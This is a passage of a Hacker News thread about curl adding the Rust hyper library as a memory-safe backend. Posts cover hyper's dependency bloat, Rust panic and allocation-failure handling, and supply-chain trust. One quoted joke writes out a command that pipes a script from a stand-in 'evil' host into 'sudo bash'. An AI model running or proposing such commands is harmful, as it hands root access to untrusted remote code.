Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Memory safe ‘curl’ for a more secure internet

daniel.haxx.se

Post reply on HN
Print view View original

41–50 of 210 posts

Re: Memory safe ‘curl’ for a more secure internet

#41

Post by timdorr »

svnpenn wrote: post #32

I like this idea, but I dont know if Hyper is the best package to go with. Hyper occupies part of the Rust ecosystem that I think suffers from package bloat, like much of NPM. For example, currently Hyper requires 52 packages: autocfg, bitflags, bytes, cfg-if, fnv, fuchsia-zircon, fuchsia-zircon-sys, futures-channel, futures-core, futures-sink, futures-task, futures-util, h2, hashbrown, http, http-body, httparse, htt…

I count 14: https://github.com/hyperium/hyper/blob/master/Cargo.toml#L22...

bytes, futures-core, futures-channel, futures-util, http, http-body, httpdate, httparse, h2, itoa, tracingfeatures, pin-project, tower-service, tokio, want

Re: Memory safe ‘curl’ for a more secure internet

#42

Post by est31 »

timdorr wrote: post #41
svnpenn wrote: post #32

I like this idea, but I dont know if Hyper is the best package to go with. Hyper occupies part of the Rust ecosystem that I think suffers from package bloat, like much of NPM. For example, currently Hyper requires 52 packages: autocfg, bitflags, bytes, cfg-if, fnv, fuchsia-zircon, fuchsia-zircon-sys, futures-channel, futures-core, futures-sink, futures-task, futures-util, h2, hashbrown, http, http-body, httparse, htt…

I count 14: https://github.com/hyperium/hyper/blob/master/Cargo.toml#L22... bytes, futures-core, futures-channel, futures-util, http, http-body, httpdate, httparse, h2, itoa, tracingfeatures, pin-project, tower-service, tokio, want

Those are the direct dependencies. They have dependencies of their own. What counts is the entire DAG traversal including all transitive dependencies.

Re: Memory safe ‘curl’ for a more secure internet

#43

Post by steveklabnik »

bluejekyll wrote: post #31
sohkamyung wrote: post #13

Here's what Daniel Stenberg had to say about the move [1] [1] https://daniel.haxx.se/blog/2020/10/09/rust-in-curl-with-hyp...

This quote is interesting: “ I’m a bit vague on the details here because it’s not my expertise, but Rust itself can’t even properly clean up its memory and just returns error when it hits such a condition. Clearly something to fix before a libcurl with hyper could claim identical behavior and never to leak memory”. So Rust aborts on invalid memory accesses, unwrap on None, etc. It does not abort on memory leaks. I do…

> So Rust aborts on invalid memory accesses, unwrap on None, etc.

Rust will panic on these things, and panics can abort, or unwind. Unwind is the default.

That's not what's being talked about here, I don't think. This is about alloc::alloc::handle_alloc_error, which was not allowed to unwind at the time the linked comment was made. But in the last few hours, https://github.com/rust-lang/rust/pull/76448 was linked to, which shows how that has since changed.

Re: Memory safe ‘curl’ for a more secure internet

#44

Post by Shared404 »

scrollaway wrote: post #34
cbm-vic-20 wrote: post #17

Great! As long as "curl https://totally-not-evil.example.com/install.sh | sudo bash" still works, I feel safer already.

In your example, bash, sudo, linux, your DNS stack, ISP, router, clipboard and keyboard all play a role that is just as essential as curl in that command working the way you (cynically) expect it to. Glad you feel safer though.

What? You mean intentionally running untrusted code as root is your own fault?

How dare you.

Re: Memory safe ‘curl’ for a more secure internet

#45

Post by txdv »

sohkamyung wrote: post #13

Here's what Daniel Stenberg had to say about the move [1] [1] https://daniel.haxx.se/blog/2020/10/09/rust-in-curl-with-hyp...

basically there are already a lot of interchangeable backends, they are going to introduce a new one written in rust, which should increase memory security, but rust itself does not cleanup itself when it panics

Re: Memory safe ‘curl’ for a more secure internet

#46

Post by dochtman »

svnpenn wrote: post #32

I like this idea, but I dont know if Hyper is the best package to go with. Hyper occupies part of the Rust ecosystem that I think suffers from package bloat, like much of NPM. For example, currently Hyper requires 52 packages: autocfg, bitflags, bytes, cfg-if, fnv, fuchsia-zircon, fuchsia-zircon-sys, futures-channel, futures-core, futures-sink, futures-task, futures-util, h2, hashbrown, http, http-body, httparse, htt…

Some of these are tiny, and a substantial part are platform-specific, so you will never need all of them for a single build.

Re: Memory safe ‘curl’ for a more secure internet

#47

Post by est31 »

nine_k wrote: post #37
svnpenn wrote: post #32

I like this idea, but I dont know if Hyper is the best package to go with. Hyper occupies part of the Rust ecosystem that I think suffers from package bloat, like much of NPM. For example, currently Hyper requires 52 packages: autocfg, bitflags, bytes, cfg-if, fnv, fuchsia-zircon, fuchsia-zircon-sys, futures-channel, futures-core, futures-sink, futures-task, futures-util, h2, hashbrown, http, http-body, httparse, htt…

All these packages provide important pieces of functionality, which, I suppose, mostly cannot be omitted. Either you depend on other's work for that, or you roll your own. Choose your poison.

A quick survey gave me:

* tracing is only present for logging purposes. does curl need it? It should be configurable.

* itoa is only present for performance purposes, and only seems used by the server.

* It seems that a bunch of projects in the dependency tree use pin-project which is heavyweight and instead could use pin-project-lite. Some already do, which creates both being used, so you are worse off than just with pin-project alone...

* hyper contains code for both http servers and clients. Even if the dependencies are the same (and as seen above they are not), having to compile the server code for the client means an increase in compile time. It would be cleaner to provide separate server and client flags to make it possible to turn one off.

Re: Memory safe ‘curl’ for a more secure internet

#48

Post by johncolanduoni »

svnpenn wrote: post #32

I like this idea, but I dont know if Hyper is the best package to go with. Hyper occupies part of the Rust ecosystem that I think suffers from package bloat, like much of NPM. For example, currently Hyper requires 52 packages: autocfg, bitflags, bytes, cfg-if, fnv, fuchsia-zircon, fuchsia-zircon-sys, futures-channel, futures-core, futures-sink, futures-task, futures-util, h2, hashbrown, http, http-body, httparse, htt…

Most of these are maintained as sets of crates under the same project/maintainers. For example, everything starting with futures comes from one repo, everything starting with tokio plus mio (plus some others) are under the tokio-rs GitHub organization, all the windows bindings packages are from the same repo, etc.

Plus some of the dependencies are also dependencies of the standard library (hashbrown, cfg-if, libc).

Re: Memory safe ‘curl’ for a more secure internet

#49

Post by count »

kingkilr wrote: post #39
svnpenn wrote: post #32

I like this idea, but I dont know if Hyper is the best package to go with. Hyper occupies part of the Rust ecosystem that I think suffers from package bloat, like much of NPM. For example, currently Hyper requires 52 packages: autocfg, bitflags, bytes, cfg-if, fnv, fuchsia-zircon, fuchsia-zircon-sys, futures-channel, futures-core, futures-sink, futures-task, futures-util, h2, hashbrown, http, http-body, httparse, htt…

While I don't love the proliferation of dependencies, from a risk perspective the raw number of dependencies isn't always the right metric. Looking at the authors and publishers numbers from https://github.com/rust-secure-code/cargo-supply-chain it's clear a lot of these are maintained by the same set of trusted folks.

This is true today, will it remain true?

Re: Memory safe ‘curl’ for a more secure internet

#50

Post by nicoburns »

svnpenn wrote: post #32

I like this idea, but I dont know if Hyper is the best package to go with. Hyper occupies part of the Rust ecosystem that I think suffers from package bloat, like much of NPM. For example, currently Hyper requires 52 packages: autocfg, bitflags, bytes, cfg-if, fnv, fuchsia-zircon, fuchsia-zircon-sys, futures-channel, futures-core, futures-sink, futures-task, futures-util, h2, hashbrown, http, http-body, httparse, htt…

Part of this is just crates being broken up more in Rust. For example the `http` crate only contains trait (interface) definitions. They break down like so:

Platform integration: libc, winapi, winapi-build, winapi-i686-pc-windows-gnu, winapi-x86_64-pc-windows-gnu, ws2_32-sys, fuchsia-zircon, fuchsia-zircon-sys, kernel32-sys, redox_syscall

Primitive algorithms: itoa, memchr, unicode-xid

Proc macro / pinning utilities: proc-macro2, autocfg, cfg-if, lazy_static, quote, syn, pin-project, pin-project-internal, pin-project-lite, pin-utils

Data structures: bitflags, bytes, fnv, hashbrown, indexmap, slab

Core Rust asyncio crates: mio, miow, iovec, tokio, tokio-util, futures-channel, futures-core, futures-sink, futures-task, futures-util,

Logging: log, tracing, tracing-core

The following are effectively sub-crates of the project: http, http-body, httparse, httpdate, tower-service, h2

Not sure what these are for: net2, socket2, try-lock, want

Post reply on HN